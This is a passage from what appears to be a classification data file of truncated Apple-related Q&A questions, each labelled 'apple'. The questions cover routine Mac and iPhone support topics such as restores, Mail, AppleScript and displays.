Thunderbolt-equipped iMac, an older iMac (Mini DisplayPort), and an LED Cinema Display (Mini DisplayPort). I want to connect these three displays to my MacBook Pro with ... ",['apple'] "Title: Restoring my iPhone - will I get my content back? Body: I have to restore as new so I can turn off the restrictions code and then be able to delete apps. Will I be able to get my contacts, music back etc? ",['apple'] "Title: Turn off encrypted backup on iPhone that has a profile without removing profiles Body: I have iPhones that have profiles on them that were password protected profiles and those passwords have been lost. So we need to wipe the iphones and was hoping to to a backup first and then restore ... ",['apple'] "Title: Password Reset using Mac OS X install media Body: I forgot my password for my imac. If I reset my password using the Mac OS X install media, will I loose all data stored in my computer? ",['apple'] "Title: How can I see music downloaded to my iPhone via Amazon Cloud Player in the Music app? Body: I downloaded some songs to my iPhone using Amazon Cloud Player, but they are not showing up in the (official) Music app. I assume that Amazon Cloud Player downloaded MP3s to a directory on my device. ... ",['apple'] "Title: Syncing old phone with new computer - what is this message? Body: I have a new Mac but I'm using my iPhone. Previously I had ""Notes"" synced between my phone and the old Mac. Now I have notes on my phone that I don't want to lose, and I'm trying to set up the iCloud ... ",['apple'] "Title: Is there an app available from the App Store (iOS) to find out the LAN speed? Body: I'm trying to see if it would be worthwhile to upgrade my PC computer to a 5 GHz wireless adapter. The only device I own that is capable of using the 5 GHz band is my iPad. So, I'm trying to see if ... ",['apple'] "Title: Samsung SSD in older Imac (24"" Alu)? Trim support? Body: I have an older 24"" iMac (Model 8.1 with Mountain Lion) and would like to extend its life a bit by adding a 256GB SSD. Samsung SSDs seem to be coming down in price (and are possibly well reusable if ... ",['apple'] "Title: Camera app gone (not deactivated in restrictions) Body: My camera app is missing on both my phone and my iPad and after having tried all the suggested fixes found online to no avail I now feel the need to get help with my specific case. The app is missing ... ",['apple'] "Title: How can I see (and delete) app data for apps that aren't installed? Body: I recently did a ""restore"" of my iPhone, and loaded data in from a backup (an iTunes backup, not iCloud) So, all my apps were gone- I had to re-download them. So I did, but I noticed that when I did ... ",['apple'] "Title: Is there way to quickly call the active contact on the Message app? Body: Oftentimes, in the middle of texting, I find myself wanting to call the other party instead. However, in order to do that, I would have to scroll all the way to the top of the message history, just ... ",['apple'] "Title: pause download from appstore and shutdown then resume after restarting computer Body: I am using mountain lion on macbook pro. I want to know if it is posible to pause while downloading xcode from appstore and shutdown my computer, then resume my download from where i paused it when I ... ",['apple'] "Title: Mail sent on iPhone via Safari or Twitter or other apps is never received, but email sent from within Mail is fine Body: I am using iOS 6.1.4 on iPhone 5, and I've noticed that at some point in the past few weeks - I do not know exactly when it began - any email I try to send from within any non-Mail app, such as ... ",['apple'] "Title: Error code -50 The operation could not be complete Body: I was working on my science assignment and just wrote another 500 words and about to save the document BOOM! ""The document could not be saved."" The detail showed that it is an Error code -50. It is ... ",['apple'] "Title: Edit PDFs on SkyDrive with iPad Body: I have PDF documents on my SkyDrive account and I want to edit them with Adobe Reader. However, when I save the document after editing, it is being saved somewhere else under a different file name. ... ",['apple'] "Title: How do I synchronize my mail between my Apple devices with out iCloud Body: I use to have all my apple devices synchronize for e-Mail and contacts, but when I had to factory reset my I phone I lost the ability to sync them and can't remember what to do. This may be a loded ... ",['apple'] "Title: Downgrading from OS X Mountain Lion to Snow Leopard gets stuck at Apple logo Body: I have a Mid-2010 MacBook Pro which one year ago I upgraded from the default Snow Leopard to Mountain Lion. However, now I want to downgrade to Snow Leopard again. I made a USB thumb drive formatted ... ",['apple'] "Title: Can I listen to just the audio of a movie on an iPhone? Body: I downloaded a movie (live concert) to my iphone 4g and would like to listen to it thru my car stereo via the 3.5mm mini jack to aux port? just want to hear the audio stream, not see the video stream ... ",['apple'] "Title: Mountain Lion ssh -X problems Body: How to run on Mountain Lion X11 forwrading? like ssh -X some@example.com xterm my /etc/sshd_config has X11Forwarding yes #X11DisplayOffset 10 X11UseLocalhost yes # XAuthLocation added by XQuartz ... ",['apple'] "Title: How to disable Apple Push Notification Service (apsd) on OS X 10.8? Body: I am using an iMac at work, and the IT security guys are raising issue with the Apple Push Notification Service (apsd) trying to bypass the proxy continually. I would like to know how I can disable ... ",['apple'] "Title: Is there an application that can see hand gestures to turn on the screen and scroll? Body: While I am cooking with dirty and wet hands, I want to see the recipe on my smartphone without dirtying it. How may I turn on the display and scroll without touching the phone? Is there an ... ",['apple'] "Title: Excel 14.1.0 (110310) on OSX 10.7.5 doesn't have Full Screen function Body: I have OSX 10.7.5 on 2009 MacBook with Excel 14.1.0 but I don't have Full Screen function. I Googled and am sure that this version of Excel and OSX should have Full Screen, but I just can't find it. ... ",['apple'] "Title: Running out of hard drive space, yet Disk Inventory shows only 190GB used vs. 480 GB used in HD Get Info? How is that possible? Body: I'm down to 20GB on a 500GB hard drive and would like to know what's eating up the disk space, so I can clear out any large things I no longer need. 2 screen shots are showing me Disk Inventory ... ",['apple'] "Title: How to disable TimeMachine animation? Body: How can I disable all of TimeMachine's animations (at startup, finish, etc.)? (Older methods for doing this no longer work.) ",['apple'] "Title: Strange mail.app phenomenon - Invisible e-mail content Body: Sometimes, new incoming e-mail would not have its content shown, just the subject, until I quit mail.app and run it again. I am using the latest MBP/15"" Retina, up to date Mountain Lion, with Mail.app ... ",['apple'] "Title: How does the Airport Access Control work? Body: I would like to set some rule on my Time Capsule and Airport Express in such a way that some cell phones can connect only in specific time slots. In my network both the devices are connected to a ... ",['apple'] "Title: iOS Developer Account With VISA Debit Card Body: Can anyone confirm whether Apple accepts VISA debit card to buy iOS Developer account that costs $99. I can use the same card to purchase apps from the App Store but is this card can also be used to ... ",['apple'] "Title: Is it possible to unlock iphone 4s, Virgin Mobile (CDMA) Body: My friend has an iphone 4s, it was bought from USA, virgin mobile. I want to do a factory unlock (unlock the sim). I already know how to jailbreak, would jailbreaking work? Any help would be ... ",['apple'] "Title: Macbook randomly shuts down without on charge (even at ~90% full) Body: I'm having a real issue with my Macbook (white, late 2009 version, running Lion OS X). It was about since 2 weeks ago or so, my Macbook would just randomly shut down, I lost a couple unsaved files ... ",['apple'] "Title: Is it possible to change the name of a bluetooth mouse? Body: I bring my MacBook Pro back and forth between home and work. I have a Magic Mouse in both places. I guess because they are both the same model, I have to re-pair the mouse with the computer every time ... ",['apple'] "Title: Kernel panic recurring Body: I keep getting the following kernel panic. Can anyone help me, please? As a test I have just change HDD to SSD and update memory from 2 GB to 8 GB. All said to be compatible with mac. Upgraded os x to ... ",['apple'] "Title: make applescript close keynote after presentation is over Body: does anyone know how i would achieve the following? i want to make applescript close Keynote AFTER the slideshow is finished. any idea? mybe via the class ""playing"" in keynotes application properties? ... ",['apple'] "Title: Can the Finder resume a file copy? Body: I know about rsync and how to use it, but sometimes I just want to copy files using the Finder. However, if that fails, I have to do everything all over again, since the Finder does not seem to be ... ",['apple'] "Title: How to enter boot menu without command key? Body: My Macbook air has a keyboard issue, the z key does not work except upon startup where it becomes stuck for several seconds. This interferes with opening the boot menu on startup, because it detects ... ",['apple'] "Title: Changing email addresses on my @me.com and @icloud.com Body: When I was married I started both my @me.com and @icloud.com accounts. The accounts are my first name and last (previously married) name run together. Now that I am divorced I don't want that as my ... ",['apple'] "Title: Sort order tiebreaker for “Album by Artist” Body: If there are two tracks in an album made of various homemade MP3 files (rather than an imported CD or downloaded) that have the same ""album by artist"" value, what is the tiebreaker value that controls ... ",['apple'] "Title: Pure Genius Or Pure Stupidity: Does An Old Mac G5 Make A Great BBQ? Body: This question has some humor as well as practical implications for owners of Apple Mac G5s. I came across this earlier on today as an alternative recycling option: Source Macgasm Is this really a ... ",['apple'] "Title: How to install Windows 8 with BootCamp 5 Assistant via USB? Body: I was able to put Windows 8 setup files on my usb from the installer. Now I just upgraded my machine to Mountain Lion. I have gone through the BC Assistant and it only asks for my Windows CD to be put ... ",['apple'] "Title: How can I “link” different files to my folder without using soft link? Body: I have some some folders look like this structure: Buy folder -> state_diagram_for_buy, activity_diagram_for_buy Sell folder -> state_diagram_for_sell, activity_diagram_for_sell Search folder -> ... ",['apple'] "Title: Kernel Tasks Swamping processor-2012 13"" Retina Body: Acquired a 13"" Retina liquid damaged - Apple Certified Tech. Trying to salvage. Haven't disassembled yet to see the extent of the liquid but it boots and runs. No liquid spill indicators triggered. ... ",['apple'] "Title: Unable to enable PHP in OSX 10.8 mountain lion Body: I have enabled php according to PHP's instructions and uncommented, #LoadModule php5_module libexec/httpd/libphp5.so in /private/etc/apache2/httpd.conf. However the line, #AddModule mod_php5.c ... ",['apple'] "Title: Ipad multi network chat and SMS app Body: Is there an ipad app for various Instant message networks and SMS? Please recommend something that's as minimalist as the iMessage app, not a big flashy mess. ",['apple'] "Title: iOS Mail uses wrong return address Body: tl;dr: I have several email addresses on the same Mail account, iOS defaults to the wrong one as the sender, and I can't figure out how to change that. Full version: I set up my email accounts on my ... ",['apple'] "Title: Unable to use Airplay, Remote App, or wireless printing Body: I have a regular home wireless network. The only issue is that, apparently, I'm unable to do things which require device-to-device connectivity (Airplay, Remote App on iPhone, or wireless printing). ... ",['apple'] "Title: Mac OS-X disk file format Body: I need to format an external hard disk on a MacBook Pro (USB2 connection). In the disk utility, Erase tab, I can only choose between these formats: MacOS Extended (Journaled) MacOS Extended ... ",['apple'] "Title: Connecting two DVI monitors to a MBA 2012 Body: Can anyone tell me whether it's possible to connect two external DVI monitors to a 2012 macbook Air? Ideally I'd like to do this through the thunderbolt connector.. is that possible? Are there any ... ",['apple'] "Title: USB drive stuck on read only Body: So my usb drive is stuck on read only and I have tried many different options which I have gotten from different websites. I have tried to restore/erase in disk utility but the options are greyed ... ",['apple'] "Title: Downgrading from 4.2.1 to 3.1.3 Body: I have an iPhone 3g and I'm trying to downgrade it from 4.2.1 to 3.1.3. I downgraded it successfully and use redsn0w to boot it. It is factory unlocked by itunes, but it seems like it's not getting ... ",['apple'] "Title: MacBook Air 2012 Mini DisplayPort not working with HDTV Body: I'm trying to connect my 2012 11"" MacBook Air to my Panasonic p60st60 1080p plasma HDTV using a new Monoprice Mini DisplayPort to HDMI adapter & 6' HDMI cable. My TV displays a ""No signal"" ... ",['apple'] "Title: MacBook screen very dark after resuming on OS X 10.8 Body: I have a MacBook late 2008 aluminum model (5,1). Occasionally, after reopening my MacBook's lid, the screen doesn't light up. With effort I can see that the password prompt is actually rendered very ... ",['apple'] "Title: I can't delete a calendar event I did not create Body: I have a calendar event that I did not create but is recurring. I have declined the request, yet it still shows up on my calendar. Because I did not create it, I can't delete the event. ",['apple'] "Title: Can't get folders to download photos? Body: I used to have an iPhone that I had sorted pictures into folders on. I had to get a new iPhone because it was cracked and the camera didn't work, along with other problems. While I was in the mall of ... ",['apple'] "Title: Mail app correctly marks spam but does not move it to the junk mail folder Body: as by message, Mail app does not bother moving mail correctly marked as spam in the spam folder -- this only happen when I am at home, and only during the week-end. I suspect that the IMAP server is ... ",['apple'] "Title: Is there an app that properly displays PDFs in 16:9 in AirPlay? Body: Right now I can show images through AirPlay in Keynote presentation mode and it properly shows on an AirPlay display that is 16:9 however I also need to zoom in on the image and draw on it, now just ... ",['apple'] "Title: iPhoto '11 crash on library update after iPhoto '09 Body: I've recently updated iPhoto to the latest version (i've had 8 version before) and no matter what I do it keeps crashing on library update (i've backed up the library before doing anything). After the ... ",['apple'] "Title: Dual Boot OSX on Retina MBP 15 Body: I want to install a fresh copy of OSX onto my Retina MBP, next to the one that it came preinstalled with. I have created a 2nd partition using Disk Utility ready for the install, but have now found ... ",['apple'] "Title: Routing Bluetooth audio in and out of headphone/mic jack on iPhone Body: I would like to be able to route the audio from a Bluetooth headset out of the headphone/mic jack on an iPhone. That is, to be able to send the mic input from the Bluetooth device out the jack and ... ",['apple'] "Title: install Lion on Imac with macbook-pro HDD copy Body: Is it possible to do a new lion install on an imac if you copied/cloned the HDD of your macbook-pro (with CCC)? In theory that is ofcourse, because it won't. The installer log, mentions: missing ... ",['apple'] "Title: Using Mac in a virtual machine legality? Body: There have been many different questions like this and all have seemed to come down to the same answer. It violates the EULA. The problem is they all bring up another question. How binding is the ... ",['apple'] "Title: Making Hidden Apps Appear Faded Whilst Sitting On The Dock? Body: Sometimes it can be quite difficult for me to tell which of my apps are hidden on the dock and which are not. Is it possible to make those Apps which I have hidden (either by terminal command or ... ",['apple'] "Title: What determines the model name displayed in System Information compared to the model number? Body: I've just purchased a used Mac Pro that was sold to me as a ""5,1"" model, which according to everymac.com and Apple's support site, should be a Mid 2010 Mac Pro. However the model display in System ... ",['apple'] "Title: Where to get older bootcamp drivers? Body: I recently partitioned my MBP 15"", early 2011 model, so I could run windows. I installed Windows XP and now I have no Wifi. I've installed the bootcamp drivers off CD of Snow Leopard and the disks ... ",['apple'] "Title: Facetime with more than one apple device Body: Is it possible for four people to make a Facetime call with the following setup? one using an iPhone 4, one using an iPad 2 (both of which have the same email address) another two people who have ... ",['apple'] "Title: MBP w/ OS X 10.8.3 Performing Quite Slowly Lately Body: My MBP (2.66 GHz i7, 4GB RAM, 500GB HDD) is about two or so years old. It's been running like a champ for most of its life. However, within the past few months, I've noticed a considerable degradation ... ",['apple'] "Title: I Think My Graphics Card Changed Body: I opened System Information today only to find that my graphics card name has changed from Intel 4000 (or something like that) to AMD Radion: I don't think I'm going crazy. EDIT: I was right! Here ... ",['apple'] "Title: Why doesn't the screen saver delay that I set persist after restarting my Mac? Body: I have a problem with a screen saver, I set it to 20 minutes and when I lock the computer and unlock it, the settings are unchanged. However, when I restart my mac, then the screen saver is set to ... ",['apple'] "Title: Import other peoples calendar from Outlook Body: I don't think this is possible but still not sure, maybe it is: Can I import other people's calendar into iCal? Those calendars are Microsoft Outlook Exchange Calendars. ",['apple'] "Title: MBP with Mountain Lion 10.8.3 loses connection to system SSD at random times and freezes Body: So, out of nowhere my 2009 MacBook (2,66 GHz Core 2 Duo, 8 GByte aftermarket ram) started freezing after 200+ days of uptime (sleep time included of course). I had installed a Crucial CT256M4SSD2 ... ",['apple'] "Title: In applescript how do i get two different things to repeat at the same time Body: I am trying to get two different actions to repeat at different intervals but right now only the first action will repeat. repeat keystroke ""i"" delay 44 end repeat repeat ... ",['apple'] "Title: Macbook Air not waking up from Suspend/Sleep with rEFInd boot manager installed Body: Having installed both rEFInd 0.6.10 (updated to 0.6.11) via its install.sh and Ubuntu 13.04 on another partition I can now choose on a MacBook Air to boot either MacOS or Linux. When running MacOS ... ",['apple'] "Title: Change file association in terminal? Body: Is there a method for associating file types with applications via terminal? I thought ~/Library/Preferences/com.apple.launchservices.plist might do it, and I also have seen: Why is a command line ... ",['apple'] "Title: Tranferring Apps from 1 ipad to another Body: I received an Ipad from my employer for work. I also have a personal Ipad. I set up 2 different apple ids, one for work and one for personal use. I now want to return my work Ipad but tranfer the ... ",['apple'] "Title: Application asks to allow incoming communications but is already allowed in firewall preferences Body: One of my login items is called FontAgent Activator.app Each time I restart, I am prompted to accept incoming network communications for this app. However the app is already listed as allow incoming ... ",['apple'] "Title: Can my iBook use any PC2700 DDR-SDRAM RAM? Body: My iBook currently has a stick of 256MB DDR PC2700 RAM installed. I want to bump this up to a gigabyte (because programs these days take a lot of RAM to link). I was wondering if an iBook G4 can use ... ",['apple'] "Title: Recover GPT Hard Disk files on Windows Body: My friends 2008(ish) era macbook pro died recently but the SATA HDD is fine, I have removed it and plugged it into a Windows 7 machine. I can see in Paragon Partition Manager that the drive is a GPT ... ",['apple'] "Title: How to remove an environment variable on Snow Leopard Body: I'm running under Snow Leopard 10.6.8 and I recently added an environment variable which it seems to be messing my bash terminal (I guess). What I did is add the variable ... ",['apple'] "Title: Using an iPhone as a Remote Video Recorder from a Mac Body: I want to film my puppies, but when they see me, they do not act naturally. Does there exist any app for iPhone/Mac that allows me: to see on the Macbook what my iPhone camera ""sees"" via WiFi? to ... ",['apple'] "Title: Random space switching issue Body: When I am using Chrome for web development I like to have it open on the same space as where I am using my code editor. Chrome is currently assigned to a different space than my code editor so ... ",['apple'] "Title: how to move files in terminal osx Body: Hello world so i am way new to mac i am trying to install an older version of wkhtmltopdf because the brew install wkhtmltopdf installs a rc version that just wont work. So i found this blog that ... ",['apple'] "Title: Is there character spacing feature in PDFpen? Body: I am trying out the demo version of PDFpen and can't figure out a way to adjust the character spacing. My text edit ended up like this: The first line is a result from PDFpen editing and the second ... ",['apple'] "Title: How can i reset my Terminal? Body: just some time ago i installed the OS X Server app on my mac and since this day it always appears server as the chosen directory in my terminal. But because i dont really like the Server application ... ",['apple'] "Title: Net-SNMP python binding path Body: I'm currently setting a development environment in python 3.3 and i'm trying to import the Net-SNMP python bindings but idk where the files are located. Simple question: anyone knows where are ... ",['apple'] "Title: How to sync voice memos with itunes over air Body: How can I sync my voice memos on iphone with my macbook over air? It works with cable but I want to work over air. Is that possible? ",['apple'] "Title: What are only necessary processes (minimal set) for OS X work? Body: What are only necessary processes (minimal set) for OS X work? What are the differences in the sets for different versions (Lion minimal set, Mountain Lion minimal set)? What are the processes that ... ",['apple'] "Title: Using Photo Stream and ICloud Body: I am taking py ipad on holiday and plan to take pictures with my Digital camera and at the end of the day transfer the pictures from the memory card to the ipad via a card reader. Will these photos ... ",['apple'] "Title: Can Spotify be paused when a Skype call is made, similar to how iTunes does it? Body: When I am listening to music on iTunes, the music is automatically paused when a Skype call is made. I recently switch to Spotify for my music resource. Can I have the same pausing functionality with ... ",['apple'] "Title: Making checks before rsyncing external drive on OSX Body: I have the following issue on OSX though I guess this could equally be filed under bash. I have several encrypted portable drives that I use to sync an offsite data store or as an on-the-go data store ... ",['apple'] "Title: Mail App is using internet connection to capacity (Retina Macbook Pro Early 2013) Body: My internet connection is working to capacity while ""Mail"" is open. Of course, it was loading all my mails when I used it the first time, but now all mails are on the machine and still ""MagicanPaster"" ... ",['apple'] "Title: MacBook Pro Mid-2009 13 inch does not recognize replaced hard drive Body: As the title states, I recently got a used Hard Drive from another MacBook Pro and installed it into my MacBook. The problem, is the laptop will not recognize it at all. The old hard drive just goes ... ",['apple'] "Title: How to get iTunes 11 to Group by Album Name Body: tl;dr Is there an easier way / hack to get iTunes to display albums by album name? Currently it splits albums up by artist, then sorts the album names A-Z. Going through and manually changing the ... ",['apple'] "Title: IPhone 4s cannot send mail, rejected by the server because it does no allow relaying Body: iPhone 4s cannot send mail, it was working fine up to about a month ago but now I keep getting the message: rejected by the server becuase it does not allow relaying... ",['apple'] "Title: Does it matter if I take a photo from within Instagram or import into Instagram? Body: I've begun using Instagram more and more on my iPhone 4S. And typically, I take a photo using the standard Photo app, and then import the photo and process it within the Instagram app. But I'm ... ",['apple'] "Title: Is there a way to retrieve a thumbnail of all the photos on an iPhone using Alfred Workflow? Body: I'd like to have a workflow for Alfred that enables me to get a particular photo from my iPhone directly in my clipboard using bluetooth or USB, is it possible to script ImageCapture to do that? ... ",['apple'] "Title: Place a call through an iPhone using bluetooth / USB Body: I've seen some references to apps like Phone Amego that enable to call on a mac using the iPhone. This app is not really working well, but I wanted to know if other solutions existed? (I'm not looking ... ",['apple'] "Title: Contact switched to Android; how to send texts instead of iMessages? Body: My brother switched to an Android phone from an iPhone recently. When I attempt to text him, it still tries to send those messages as iMessages. Two questions: will he receive these iMessages, and ... ",['apple'] "Title: how to set CSV delimiter in OSX Lion? Body: I live in Indonesia and we use the dd/mm/yyyy date format as opposed to America's mm/dd/yyyy. Questions: I changed my Language settings to Indonesia region so that this date format would be ... ",['apple'] "Title: I can't re-attach my thunderbolt display stand Body: I have removed the stand from my Thunderbolt monitor to place a touch overlay device on the sceen (needed to lay the screen flat facing up to attach the overlay) Now I am trying to re-attach the ... ",['apple'] "Title: How to Make G-mail Remember my User ID and Passwords with Safari Body: I work in marketing and have several G-mail accounts established exclusively for my clients advertising programs that I must access frequently. Until a few days ago, each time I opened any G-mail ... ",['apple'] "Title: Can't delete iCloud account from Mail, Contacts, Calendars Body: When trying to log into iCloud from System Preferences, I'm told [appleid] is already signed in to iCloud To use this as your primary iCloud account, delete it from Mail, Contacts, and ... ",['apple'] "Title: Copying with sshfs/macfusion adds a number at the end of the dir name Body: I just copied the iPhoto library to my NAS via sshfs/macfusion, but the resulting directory had a number appended to it iPhoto Library64569900 What's the reason for it? ",['apple'] "Title: How can I determine if I've set up my phone improperly or if someone is just sending me messages for someone else? [closed] Body: Hi Iv been having a problem with my iphone 4s. i have recieved 2 messages from my ex partners phone it did not come up as an imessage only a normal message. He did not send the messages we believe ... ",['apple'] "Title: Can AppleScript automatically press a key for me in an application? Body: I'm trying to devices an AppleScript that will automatically press the right arrow key for 1 second, then the left arrow key for 1 second and repeat this in an endless loop until I interrupt it. Here ... ",['apple'] "Title: cannot run sudo Body: I have a corporate account work on my macbook that has administrator privileges and created a non-administrative account local. Logged in as local, when I tried a command with sudo, I got the ... ",['apple'] "Title: How to reinstall from an USB stick on a MacBook or iMac? Body: I made an OS X 10.6 USB stick and I used it to succesfully install OS X on several Mac, including a very old Mac Mini and a MacBook Pro. However I've got a problem: on my girlfriend's Mac it simply ... ",['apple'] "Title: Good documentation about securityd,SecurityAgent and loginwindow Body: I am looking for good documentation about securityd,SecurityAgent and loginwindow. I am particularly interested in as to how these processes work in unison during Mac OS X login and authenticate the ... ",['apple'] "Title: Why would opening the DiagnosticReports folder be preferred to using Console.app? Body: I already searched Ask Different for ""Console.app"" and ""crash logs"". I was recently searching for a way to access OS X crash logs because I couldn't remember the application that pulled them up. All ... ",['apple'] "Title: location aware network drive mount? Body: At work we have a network drive (hosted on a windows server, mounted wirelessly via SMB) that is best if it is automounted. The trouble is that this causes the system to pause when it tries to mount ... ",['apple'] "Title: How to build a simple app that turns text to m4a files Body: I'm learning Chinese and want a way to quickly generate and save words and phrases to m4a files. I've managed to do pretty much what I want in terminal, but I can't seem to figure out how to make an ... ",['apple'] "Title: Upgrading from sudo 1.7.4p6 to 1.8.6p7 on OS X 10.7.5 Body: I downloaded sudo for os x 10.7 from the following link, I followed the readme instructions, but when I call sudo -V I still get the old version number. I can see the folders related claim to have ... ",['apple'] "Title: How can I read the video input from a game cube on the iMac screen Body: The Game cube has a video output wire that looks like this : How can read the video input on an iMac with this? What do I need to buy? What software should I use? ",['apple'] "Title: App windows move spontaneously on display wake (2 monitors) Body: OS X 10.8.3 Mac Mini Late 2012, 2.6Ghz quad-core i7, set up with 2 displays, like this: Thunderbolt Port HDMI Port /*****************|------|**********\_______________ | ... ",['apple'] "Title: Is it possibe to upgrade and re-jailbreak (in order to unlock) a 3Gs running on 4.1? Body: I have a locked 3Gs running 4.1 and it's pretty annoying not be able to install anything on it anymore (most apps nowadays require at least 4.3) I can not unlock it officially because i bought second ... ",['apple'] "Title: Saving window postions and sizes when connecting/disconnecting Macbook pro retina with TWO external monitors Body: there's a lot of excellent questions about window management here, and great answers. Like this one What Window Management Options exist for OS X? But I still can't find a reliable answer to my ... ",['apple'] "Title: Clearing user input - New Remote Connection Window MAC OSX Body: I was using Terminal.app to to use the ssh command and I opened the ""New Remote Connection"" window. There is this long text box under the ""user"" box that displays the ssh ... commands that were ... ",['apple'] "Title: Can Applescript ask for the names of the people you want to send to and fill this in send to Body: I’d like to be able to send to people from my address book where a dialogue would say who would you like to send the email to and I would write in like peter, john, George etc and that would populate ... ",['apple'] "Title: Can I mail to groups which I set up on my desktop with the gmail app for iPad? Body: Is it possible in my Gmail App for IPad to send to my groups that were set up on my desktop? This is a big issue for me since I send to groups a lot? ",['apple'] "Title: Setting up new iphone 5 Body: I've restored the iphone 5 from my old iphone 4 using iTunes. ITunes is showing complete, but it still shows on the phone that it is connected to iTunes and won't let me access it to use it. How do ... ",['apple'] "Title: How can I stop by External Display from switching “Spaces” Body: Somehow I enabled my mac to have these ""spaces"" and I always have a second ""desktop"" - I don't know how to get rid of it. However, either when no apps are open or if there is a fullscreen app, I do ... ",['apple'] "Title: Outlook for Mac “Your database could not be rebuilt [-47]” Body: Recently, whenever I open Outlook, it tells me that my the database needs to be rebuilt. I attempted to and received an error the first time. I deleted the database file located in ... ",['apple'] "Title: Firewall window pops up then vanishes Body: For about the last month, I've had the Firewall Accept/Deny incoming connection window pop up at semi-regular intervals. I have not, however, been able to identify the cause. Taking a look at the ... ",['apple'] "Title: How can I select all files within a directory with subfolders? Body: I'm in the process of cleaning up my wickedly bad ""Digital Photos"" folder. I've got a workflow I like, but I need a better way of selecting the files. What I'd like to be able to do is select a ... ",['apple'] "Title: Where is the official Apple documentation for the Terminal App? I need a list of escape sequences Body: Terminal.app does not implement all xterm sequences. I need to get the complete list of what it does implement. Is it available anywhere? ",['apple'] "Title: iPad Mini always disconnects Bluetooth wireless keyboard Body: Following my this question I finally decided to get a wireless Bluetooth keyboard for my iPad Mini. I bought some cheap (around 40 USD) Chinese crap, but designed specifically for iPad Mini -- i.e. an ... ",['apple'] "Title: where is SearchMe extension for Safari and Chrome comes from? Body: Again, today, I found out that my default search engine has been changed to ""Yahoo"", which is weird as I didn't do that. This is the second time it happens, and I found out there is an extension ... ",['apple'] "Title: WiFi keeps turning off (logging out) automatically Body: I own an iPhone 5 running on iOS 6.1.2. It is jail broken. I connect to the internet via the university WiFi system, which provided each of us a unique username and password, and we have a set ... ",['apple'] "Title: What are the default chrome://flags/ enabled on OSX? Body: For security reasons, I started disabling chrome://flags/ on my OSX laptop, but realize that certain videos look choppy when I disabled the flags, I'd like to re enable the default ones. What flags ... ",['apple'] "Title: How do I generate a random even number with Applescript? Body: I'm trying to create an Applescript that will change the MAC address of my router automatically. Some fields need to be even numbers but I can't figure out how to generate even numbers only. Heres ... ",['apple'] "Title: iPhone 4 How to stop wifi from resending old messages and voicemails? Body: I had wifi and 3g/data service turned off. I received texts and voicemails. Later, I turned wifi on and the phone started ringing alot. I received the same texts and voicemails from earlier, creating ... ",['apple'] "Title: Voice Modulator Software Body: I am looking for a voice modulator software that runs on OS X and converts a voice into scrambled and distorted sounding audio (like the ones in the movies). ",['apple'] "Title: Edit symlinked files in Dropbox Body: I have a soft symlink between the Documents folder on my main computer and a folder in Dropbox, say dbDocs. If I now edit a document, say thesis.tex, in dbDocs from another computer, will the symlink ... ",['apple'] "Title: Is there a network usage utility that shows data usage by network connection Body: I use my Mountain Lion MacBook Air to connect to the internet using various methods. At home, I use my wired connection, which does not have a cap. Sometimes though, I connect via my iPad, which uses ... ",['apple'] "Title: Is there a way to copy the link URL in Safari (Mac OS X) without using right click? Body: In Safari, if you want to copy the link URL, you should do 3 operations: Hover the link Right-click the link Use the ""Copy link"" item from the main/contextual menu Alternatively, you can ... ",['apple'] "Title: Is there a guideline for the max number of active fonts Body: I manage my fonts through FontExplorer X. Today I noticed that I have 770 fonts activated. All legitimately licensed, by the way. The Adobe CS family installs a bunch, I've purchased and have received ... ",['apple'] "Title: Aborted localhost http requests — how to troubleshoot? Body: I've got a webserver running on localhost (not the one built into OSX -- a different, proprietary webserver). I do most of my web app dev there, refreshing the browser to reload, etc. This has ... ",['apple'] "Title: How can I browse offline my already visited websites? Body: OK, I am online half of the day and offline the other half using a MacBook Pro. As I am coding primarily on this Mac, I am interested in caching all the websites I visit: especially forums, blogs, ... ",['apple'] "Title: Mail program not showing all Exchange Sent boxes Body: I'm using Mail (version 5.3) on Mac OS X version 10.7.5. I have three different e-mail accounts which all are Exchange accounts by their type. All of them work correctly, I can send and receive ... ",['apple'] "Title: Cannot sync ringtone Body: I have iTunes 11, I'm trying to sync a ringtone to my iPhone, but the ringtone is not added to my ringtones folder (settings->sounds->ringtone) in iOS. The file has a m4r format, and it's currently ... ",['apple'] "Title: iOS Email client supporting Exchange, GMail and Hotmail push? Body: I've recently updated my iPhone software so it seems Google sees this as a different device and thus the changes removing Exchange support for gmail have come into effect. This means the only way I ... ",['apple'] "Title: OSX won't boot after re-install Body: Got the flashing folder of death. Tried verifying, repairing the disk. No luck. Restored from Time Machine. No luck. Rebooted with Command-Option-P-R. No luck. The drive as far as I can tell is ... ",['apple'] "Title: Have Apple ceased selling Mac Pros in the UK? Body: I thought I'd look into the specs and price of a modern Mac Pro here in the UK, but there's no mention of them on the official Apple website. Stranger still, they're listed where you'd expect them to ... ",['apple'] "Title: Is it possible to do the accessibility zoom (with a modifier key) in natural scrolling (ie reverse the zoom)? Body: Since I actually use my retina in native 2880x1800 resolution, I often use the accessibility zoom function to make everything bigger and show someone else parts of my screen. I also have gotten used ... ",['apple'] "Title: Given the strength and scratch resistance of Gorilla Glass, are cases of value for iPhones? Body: Do I need a protective case for my iPhone 5? This is my first smart phone. I thought one of the advantages of a modern smart phone was the Gorilla Glass and the small size and weight. It seems to me ... ",['apple'] "Title: Ringtones don't sync with iPhone [duplicate] Body: I have an iPhone 4 with iOS 6.1 and my iTunes is 11.0.2. I have a ringtone I want to copy to my iPhone. I drag and drop it into the left sidebar. The ""Tones"" category show up with the ringtone in it. ... ",['apple'] "Title: mac doesnt boot after single user mode Body: I had brought an external hard disk to use as a time machine. There was a problem while trying to partition, so i booted into single user mode and ran the ffsck command. This returned an error, and ... ",['apple'] "Title: 3G “on sleep” when iPhone 3Gs (5.1.1) locked Body: I have a jailbroken iPhone 3GS running on 5.1.1. When I use 3G cellular and the phone is locked, I don't receive push notifications (from the apps that need internet for push notifications) and my ... ",['apple'] "Title: IR won't activate screen on 10.8.3 Mountain Lion Mac Mini Body: I use my Mini for home theatre, but the IR won't active the screen. Using Screen Sharing will activate the screen. I see others have reported this issue with 10.8.2 that went away with 10.8.3. Alas ... ",['apple'] "Title: How to find files not containing comment x? Body: I try to find all ""*.xyz"" files in folder x which does not have comment ""abc"". This code does the opposite. I would prefer to use Spotlight if possible. How i can do this? Thanks do shell script ... ",['apple'] "Title: Imessage delivery status Body: When an imessage doesn't display delivered or not delivered beneath the message, will it update if and when the recipient is able to recieve iMessages again? ",['apple'] "Title: Dock/Expose not working, Desktop stuck with gray background (Lion) Body: I am running Mac OS X 10.7.5 and the Dock/Mission Control/Desktop functionality is totally broken. My dock is not present after startup so I have to start all applications from 